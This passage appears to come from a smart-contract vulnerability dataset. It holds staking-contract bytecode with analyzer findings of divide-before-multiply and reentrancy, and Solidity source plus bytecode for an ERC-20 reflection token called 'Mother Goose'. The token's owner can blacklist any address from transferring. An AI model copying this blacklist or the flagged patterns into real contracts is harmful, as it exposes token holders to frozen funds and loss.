fffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549250925092509193909250565b600080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415610b7e576006546007540282116109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806118626022913960400191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610aa557600080fd5b505af1158015610ab9573d6000803e3d6000fd5b505050506040513d6020811015610acf57600080fd5b8101908080519060200190929190505050610ae957600080fd5b600254600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555042600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550610c74565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610c2f57600080fd5b505af1158015610c43573d6000803e3d6000fd5b505050506040513d6020811015610c5957600080fd5b8101908080519060200190929190505050610c7357600080fd5b5b6000610d3e6064610d30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637fd6f15c6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce657600080fd5b505afa158015610cfa573d6000803e3d6000fd5b505050506040513d6020811015610d1057600080fd5b81019080805190602001909291905050508661158f90919063ffffffff16565b61161590919063ffffffff16565b90506000610d55828561154590919063ffffffff16565b9050610dac81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546114bd90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550610e07816004546114bd90919063ffffffff16565b600481905550610e29600354610e1b610e8f565b6114bd90919063ffffffff16565b6002819055507febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a3385604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600192505050919050565b6000610f69600454600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d6020811015610f4a57600080fd5b810190808051906020019092919050505061154590919063ffffffff16565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b600080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050600061100a6064610ffc6008548561158f90919063ffffffff16565b61161590919063ffffffff16565b9050600061106382600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461154590919063ffffffff16565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110f857600080fd5b505af115801561110c573d6000803e3d6000fd5b505050506040513d602081101561112257600080fd5b810190808051906020019092919050505061113c57600080fd5b6111518360045461154590919063ffffffff16565b6004819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555061124b60035461123d610e8f565b6114bd90919063ffffffff16565b6002819055507f85082129d87b2fe11527cb1b3b7a520aeb5aa6913f88a3d8757fe40d1db02fdd3382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a17fc0642dc8ccff309ec5fee46fe88b07b8970d4980e2688bdeb2632906574a306a3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001935050505090565b6000806000611314868661165f565b9150915083811061132157fe5b6000848061132b57fe5b86880990508281111561133f576001820391505b80830392506000856000038616905080868161135757fe5b04955080848161136357fe5b049350600181826000038161137457fe5b04018302840193506000600190508087026002038102905080870260020381029050808702600203810290508087026002038102905080870260020381029050808702600203810290508087026002038102905080870260020381029050808502955050505050509392505050565b60075481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806118396029913960400191505060405180910390fd5b8060078190555050565b60008082840190508381101561153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061158783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116b2565b905092915050565b6000808314156115a2576000905061160f565b60008284029050828482816115b357fe5b041461160a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118846021913960400191505060405180910390fd5b809150505b92915050565b600061165783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611772565b905092915050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8061168c57fe5b848609905083850292508281039150828110156116aa576001820391505b509250929050565b600083831115829061175f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611724578082015181840152602081019050611709565b50505050905090810190601f1680156117515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061181e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117e35780820151818401526020810190506117c8565b50505050905090810190601f1680156118105780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161182a57fe5b04905080915050939250505056fe4f6e6c792063757272656e74206f776e65722063616e2063616c6c20746869732066756e6374696f6e4e6f7420656e6f75676820746f6b656e7320746f207374617274207374616b696e67536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77596f752063616e206f6e6c7920636c61696d20323420686f757273206166746572207374616b696e6720616e64206f6e636520657665727920323420686f757273596f7520646f206e6f74206861766520616e7920746f6b656e73207374616b6564a2646970667358221220cd843ab5910ad78be4c0f908609f80ef9dff1a90338dc3d652702171b05475ba64736f6c63430007020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,340 |
0x541b874e45ff20a8e3c5f25bc985cb47117bfe18
|
/**
*Submitted for verification at Etherscan.io on 2021-12-11
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MotherGoose is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeRewards = 2;
uint256 private _feeTeam = 3;
uint256 private _feeMarketing = 5;
address payable private _feeAddrMarketing;
address payable private _feeAddrTeam;
string private constant _name = "Mother Goose";
string private constant _symbol = "MGOOSE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrMarketing = payable(0xDa27caBFc02D2b19Fd2458D8029b59A06A21F018);
_feeAddrTeam = payable(0xDa27caBFc02D2b19Fd2458D8029b59A06A21F018);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrMarketing] = true;
_isExcludedFromFee[_feeAddrTeam] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 marketingPecentage = _feeMarketing.mul(10000).mul(10**9).div(_feeMarketing.add(_feeTeam));
uint256 amountToMarketing = marketingPecentage.mul(amount).div(10000).div(10**9);
uint256 amountToTeam = amount.sub(amountToMarketing);
_feeAddrMarketing.transfer(amountToMarketing);
_feeAddrTeam.transfer(amountToTeam);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeRewards, _feeTeam.add(_feeMarketing));
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 feeTax, uint256 feeTeam) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(feeTax).div(100);
uint256 tTeam = tAmount.mul(feeTeam).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063f2fde38b146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612c04565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061275b565b61045e565b6040516101789190612be9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612d86565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612708565b610490565b6040516101e09190612be9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061266e565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612dfb565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127e4565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f919061266e565b610786565b6040516102b19190612d86565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612b1b565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612c04565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061275b565b610990565b60405161035b9190612be9565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061279b565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126c8565b6110a2565b6040516103ef9190612d86565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a919061266e565b611129565b005b60606040518060400160405280600c81526020017f4d6f7468657220476f6f73650000000000000000000000000000000000000000815250905090565b600061047261046b6112eb565b84846112f3565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846114be565b61055e846104a96112eb565b610559856040518060600160405280602881526020016134ff60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c9092919063ffffffff16565b6112f3565b600190509392505050565b6105716112eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ce6565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ce6565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112eb565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611a00565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b89565b9050919050565b6107df6112eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ce6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d474f4f53450000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112eb565b84846114be565b6001905092915050565b6109b66112eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ce6565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a67613143565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc9061309c565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b196112eb565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611bf7565b50565b610b5a6112eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612ce6565b60405180910390fd5b601060149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612d66565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112f3565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d48919061269b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de2919061269b565b6040518363ffffffff1660e01b8152600401610dff929190612b36565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e51919061269b565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612b88565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f59919061283e565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104c929190612b5f565b602060405180830381600087803b15801561106657600080fd5b505af115801561107a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109e9190612811565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111316112eb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b590612ce6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561122e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122590612c66565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612d46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca90612c86565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b19190612d86565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612d26565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561159e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159590612c26565b60405180910390fd5b600081116115e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d890612d06565b60405180910390fd5b6115e961092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611657575061162761092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561198c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117005750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61170957600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117b45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561180a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118225750601060179054906101000a900460ff165b156118d25760115481111561183657600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061188157600080fd5b601e4261188e9190612ebc565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118dd30610786565b9050601060159054906101000a900460ff1615801561194a5750601060009054906101000a900473fffffffffffffffffffffff